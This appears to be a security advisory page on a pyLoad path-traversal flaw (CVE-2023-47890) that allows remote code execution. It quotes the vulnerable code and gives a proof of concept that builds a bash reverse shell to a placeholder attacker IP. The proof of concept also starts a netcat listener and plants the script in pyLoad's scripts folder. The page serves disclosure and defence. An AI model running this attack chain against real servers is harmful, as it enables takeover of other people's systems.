High

Download to arbitrary folder can lead to RCE

  • Disclosed: 21.11.2023
  • Updated: 11.10.2026 13:19

Summary

A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.

Details

When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.

src/pyload/core/api/init.py::add_package::L432

python
  folder = (
      folder.replace("http://", "")
      .replace("https://", "")
      .replace(":", "")
      .replace("/", "_")
      .replace("\\", "_")
  )

So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"

However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.

src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195

python
  id = int(flask.request.form["pack_id"])
  data = {
      "name": flask.request.form["pack_name"],
      "_folder": flask.request.form["pack_folder"],
      "password": flask.request.form["pack_pws"],
  }

  api.set_package_data(id, data)

Steps to reproduce

  1. Login to a pyLoad instance
  2. Go to "Queue" and create a new package with any name and a valid link
  3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
  4. Restart the package
  5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"

Remote code execution proof-of-concept

It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.

On attacker machine

  1. Start a web server hosting a malicious script
bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
  1. Start netcat listener for reverse shells
bash
nc -vklp 9999

On pyLoad

  1. Change pyLoad file permission settings

    Change permissions of downloads: On Permission mode for downloaded files: 0744

  2. Create a package with link pointing to the attacker

    http://<attacker_ip>/evil.sh

  3. Edit package and change folder to /config/scripts/package_deleted/

  4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad

  5. Delete any package package to trigger the script

Impact

An authenticated user can gain control over the underlying pyLoad server.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pyload-ng < 0.5.0b3.dev75 0.5.0b3.dev75

References

CVSS score 7.6/10
CVSS vector
CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-22
Platform
Python (PyPI)
Package
pyload-ng
Disclosed
21.11.2023
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1819 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-h73m-pcfw-25h2 - CC BY 4.0

Vulnerability history: pyload-ng

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (58) in the archive
Total entries
58
First → latest
01.2023 10.2026
Without a fix
24
Exploited in attacks
0

Severity breakdown

  • Critical 9
  • High 23
  • Medium 25
  • Low 1

Disclosures per year

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Severity:
  1. Download to arbitrary folder can lead to RCE this entry
    High · 7.6 CVE-2023-47890 < 0.5.0b3.dev75 0.5.0b3.dev75
  2. High · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 no fix
  3. High · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  4. High · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  5. High · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 no fix
  6. High · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 no fix
  7. High · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  8. High · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  9. High CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
Show more (11) Showing 21 of 32

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